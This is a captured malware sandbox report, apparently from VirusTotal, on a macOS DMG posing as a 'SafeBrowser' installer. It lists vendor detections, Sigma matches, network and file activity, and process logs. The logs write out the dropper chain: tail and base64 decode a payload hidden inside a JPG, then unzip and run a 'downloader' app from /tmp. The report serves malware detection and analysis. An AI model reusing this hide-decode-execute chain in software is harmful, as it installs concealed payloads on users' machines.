

4ffdc72d1ff1ee8228e31691020fc275afd1baee5a985403a71ca8c7bd36e2e4

↑

🗨

?

⚙

Sign in

Sign up

16

/ 58

Community Score

⬆

⬇

⬆

⬇

🚨 16/58 security vendors flagged this file as malicious

🔄 Reanalyze

🔗 Similar

⌵ More

4ffdc72d1ff1ee8228e31691020fc275afd1baee5a985403a...

Size

494.32 KB

Last Analysis Date

4 months ago

📁 DMG

com.browseFast.SafeBrowser

dmg

contains-macho

checks-hostname

signed

DETECTION

DETAILS

RELATIONS

BEHAVIOR

COMMUNITY

Join our Community

 and enjoy additional community insights and crowdsourced detections, plus an API key to [automate checks](#).

☑

 Display grouped sandbox reports

☑

🍏 OS X Sand...

⚠ 0

📁 6

📅 0

🔗 5

🔗 10

🌐 32

Activity Summary

Download Artifacts

Full Reports

Help

⚠ Detections

NOT FOUND

📅 IDS Rules

NOT FOUND

🔗 Dropped Files

1 JAVASCRIPT

1 ZIP

1 XML

1 MACH_O

1 TEXT

1 APPLE_PLIST

📁 Mitre Signatures

4 LOW

23 INFO

🔗 Sigma Rules

1 HIGH

1 MEDIUM

3 LOW

🌐 Network comms

10 DNS

21 IP

1 JA3

Behavior Tags

checks-hostname

MITRE ATT&CK Tactics and Techniques

+ Execution

TA0002

+ Persistence

TA0003

+ Privilege Escalation

TA0004

+ Defense Evasion

TA0005

+ Discovery

TA0007

+ Command and Control

TA0011

Crowdsourced Sigma Rules

CRITICAL 0

HIGH 1

MEDIUM 1

LOW 3

🚨

🕒

Matches rule Potentially Suspicious Execution From Tmp Folder by Joseliyo Sanchez, @Joseliyo_Jstnk at Sigma Integrated Rule Set (GitHub)

↳ Detects a potentially suspicious execution of a process located in the '/tmp/' folder

⚠

🕒

Matches rule Execution Of Script Located In Potentially Suspicious Directory by Joseliyo Sanchez, @Joseliyo_Jstnk at Sigma Integrated Rule Set (GitHub)

We use cookies and related technologies to remember user preferences, for security, to analyse our traffic, and to enable website functionality. Learn more about cookies in our [Privacy Notice](#).

Ok

Page 1 of 4

↑

🗨️

?

⚙️

Sign inSign up

⚠️

🕒

Matches rule **Decode Base64 Encoded Text -MacOs** by Daniil Yugoslavskiy, oscd.community at Sigma Integrated Rule Set (GitHub)

↳ *Detects usage of base64 utility to decode arbitrary base64-encoded text*

⚠️

🕒

Matches rule **Startup Items** by Alejandro Ortuno, oscd.community at Sigma Integrated Rule Set (GitHub)

↳ *Detects creation of startup item plist files that automatically get executed at boot initialization to establish persistence.*

▼

See all

Network Communication ⓘ

DNS Resolutions

🕒

_aaplcache._tcp.local

🕒

_aaplcache1._tcp.local

🕒

_aaplcache2._tcp.local

🕒

_aaplcache3._tcp.local

🕒

_aaplcache4._tcp.local

▼

IP Traffic

🕒

TCP 104.76.210.22:443

🕒

TCP 104.76.210.28:443

🕒

TCP 184.28.164.231:443

🕒

TCP 104.76.210.17:443

🕒

TCP 17.32.194.34:443

🕒

TCP 184.31.52.187:443

🕒

TCP 104.76.210.11:443

🕒

TCP 17.253.21.201:443

🕒

TCP 17.248.195.69:443

🕒

TCP 44.235.78.64:443 (pubingress-feedback-1a6fe9caff1148fe.elb.us-west-2.amazonaws.com)

▼

JA3 Digests

🕒

773906b0efdefa24a7f2b8eb6985bf37

TLS

+

🕒

gsa.apple.com

+

🕒

lcdn-locator.apple.com

Behavior Similarity Hashes ⓘ

OS X Sandbox

61951c2c61386e832d3eae4fac018e6c

File system actions ⓘ

Files Opened

🕒

/Library/Application Support/CrashReporter/DiagnosticMessagesHistory.plist

🕒

/Library/Application Support/CrashReporter/SubmitDiagInfo.domains

🕒

/Library/Managed Preferences/com.apple.MCXDebug.plist

🕒

/Library/Preferences/com.apple.MCXDebug.plist

🕒

/Library/Preferences/com.apple.networkd.plist

🕒

/Library/Preferences/com.apple.networkextension.uuidcache.plist

🕒

/System/Applications/News.app

🕒

/System/Applications/News.app/Contents

🕒

/System/Applications/News.app/Contents/Info.plist

🕒

/System/Applications/News.app/Contents/Resources

We use cookies and related technologies to remember user preferences, for security, to analyse our traffic, and to enable website functionality. Learn more about cookies in our [Privacy Notice](#).

Ok

Page 2 of 4

↑

?

Sign in

Sign up

Files Written

/Users/maria/Library/Caches/com.apple.ap.adprivacyd/fsCachedData/854F653F-BD5F-4B7C-9E6D-7F7E3F1F6B90.tmp

/private/tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2.zip

/private/tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/Info.plist

/private/tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/MacOS/downloader

/private/tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/PkgInfo

/private/tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/Resources/AppIcon.icns

/private/tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/Resources/Assets.car

/private/tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/Resources/Base.lproj/MainMenu nib

/private/tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/Resources/README.md

/private/tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/Resources/paramsJson.json

⌵

Files Deleted

/Users/maria/Library/Caches/com.apple.ap.adprivacyd/fsCachedData/854F653F-BD5F-4B7C-9E6D-7F7E3F1F6B90

/Users/maria/Library/Caches/com.apple.remindd/fsCachedData_remove

/var/folders/8s/wczf490s3zxb_m1q9d3sw90r0000gn/T/com.apple.remindd/.LINKS/06237D0E-FD3F-421A-9AC8-2C80B6C4F95F

/var/folders/8s/wczf490s3zxb_m1q9d3sw90r0000gn/T/com.apple.remindd/tmpsqlite truncatedb2TYBzl

/var/folders/8s/wczf490s3zxb_m1q9d3sw90r0000gn/T/com.apple.remindd/tmpsqlite truncatedb2TYBzl-journal

Files With Modified Attributes

/Users/maria/Library/Caches/com.apple.remindd/RemoteConfiguration.plist

/private/tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/Info.plist

/private/tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/MacOS/downloader

/private/tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/PkgInfo

/private/tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/Resources/AppIcon.icns

/private/tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/Resources/Assets.car

/private/tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/Resources/Base.lproj/MainMenu nib

/private/tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/Resources/README.md

/private/tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/Resources/paramsJson.json

/private/tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/_CodeSignature/CodeResources

⌵

Files Dropped

+ /Users/maria/Library/Caches/com.apple.ap.adprivacyd/fsCachedData/854F653F-BD5F-4B7C-9E6D-7F7E3F1F6B90.tmp

+ /private/tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2.zip

+ /private/tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/Info.plist

+ /private/tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/MacOS/downloader

+ /private/tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/PkgInfo

+ /private/tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/Resources/Base.lproj/MainMenu nib

+ /private/tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/Resources/README.md

+ /private/tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/Resources/paramsJson.json

+ /private/tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/_CodeSignature/CodeResources

+ /private/var/folders/8s/wczf490s3zxb_m1q9d3sw90r0000gn/T/com.apple.remindd/TemporaryItems/NSIRD_remindd_KJeyJC/RemoteConfiguration.plist

Process and service actions ⓘ

⌵

Processes Created

/Volumes/Installer/Installer.app/Contents/MacOS/SafeBrowser





/bin/bash sh -c tail -c +28348 '/Volumes/Installer/Installer.app/Contents/Resources/SafeBrowsing.jpg' | base64 --decode > /tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/MacOS/downloader

/usr/bin/base64 base64 --decode

We use cookies and related technologies to remember user preferences, for security, to analyse our traffic, and to enable website functionality. Learn more about cookies in our [Privacy Notice](#).











Ok

Page 3 of 4

-  /usr/bin/open /Volumes/Installer/Installer.app
-  /usr/bin/tail tail -c +28348 /Volumes/Installer/Installer.app/Contents/Resources/SafeBrowsing.jpg
-  /usr/bin/unzip unzip /tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2.zip -d /tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2
-  /usr/libexec/adprivacyd













Shell Commands

-  /tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/MacOS/downloader
-  /usr/bin/open /Volumes/Installer/Installer.app
-  base64 --decode
-  ioreg -rd1 -w0 -c AppleAHCI DiskDriver
-  killall -e Terminal
-  sh -c /tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/MacOS/downloader
-  sh -c killall -e Terminal
-  sh -c tail -c +28348 '/Volumes/Installer/Installer.app/Contents/Resources/SafeBrowsing.jpg' | base64 --decode > /tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2.zip
-  sh -c unzip /tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2.zip -d /tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2
-  tail -c +28348 /Volumes/Installer/Installer.app/Contents/Resources/SafeBrowsing.jpg



Processes Tree

-  988 - /usr/libexec/adprivacyd
-  1001 - /usr/libexec/xpcproxy -
-  1002 - /usr/bin/open /Volumes/Installer/Installer.app
-  1003 - /Volumes/Installer/Installer.app/Contents/MacOS/SafeBrowser
 -  ↳ 1004 - /bin/bash sh -c tail -c +28348 '/Volumes/Installer/Installer.app/Contents/Resources/SafeBrowsing.jpg' | base64 --decode > /tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2.zip
 -  ↳ 1005 - /usr/bin/tail tail -c +28348 /Volumes/Installer/Installer.app/Contents/Resources/SafeBrowsing.jpg
 -  ↳ 1006 - /usr/bin/base64 base64 --decode
 -  ↳ 1007 - /usr/bin/unzip unzip /tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2.zip -d /tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2
 -  ↳ 1008 - /tmp/FD830916-7AFE-4C1A-9A8D-83CB487E2BD2/downloader.app/Contents/MacOS/downloader
 -  ↳ 1009 - /usr/bin/hdiutil -



Highlighted actions ⓘ



Highlighted Text

-  ""

| Our product | Community | Tools | Premium Services | Documentation |
|--------------------------------------|----------------------------------|------------------------------------|------------------------------|-----------------------------|
| Contact Us | Join Community | API Scripts | Get a demo | Searching |
| Get Support | Vote and Comment | YARA | Intelligence | Reports |
| How It Works | Contributors | Desktop Apps | Hunting | API v3 v2 |
| ToS Privacy Notice | Top Users | Browser Extensions | Graph | Use Cases |
| Blog Releases | Community Buzz | Mobile App | API v3 v2 | |

We use cookies and related technologies to remember user preferences, for security, to analyse our traffic, and to enable website functionality. Learn more about cookies in our [Privacy Notice](#).

Ok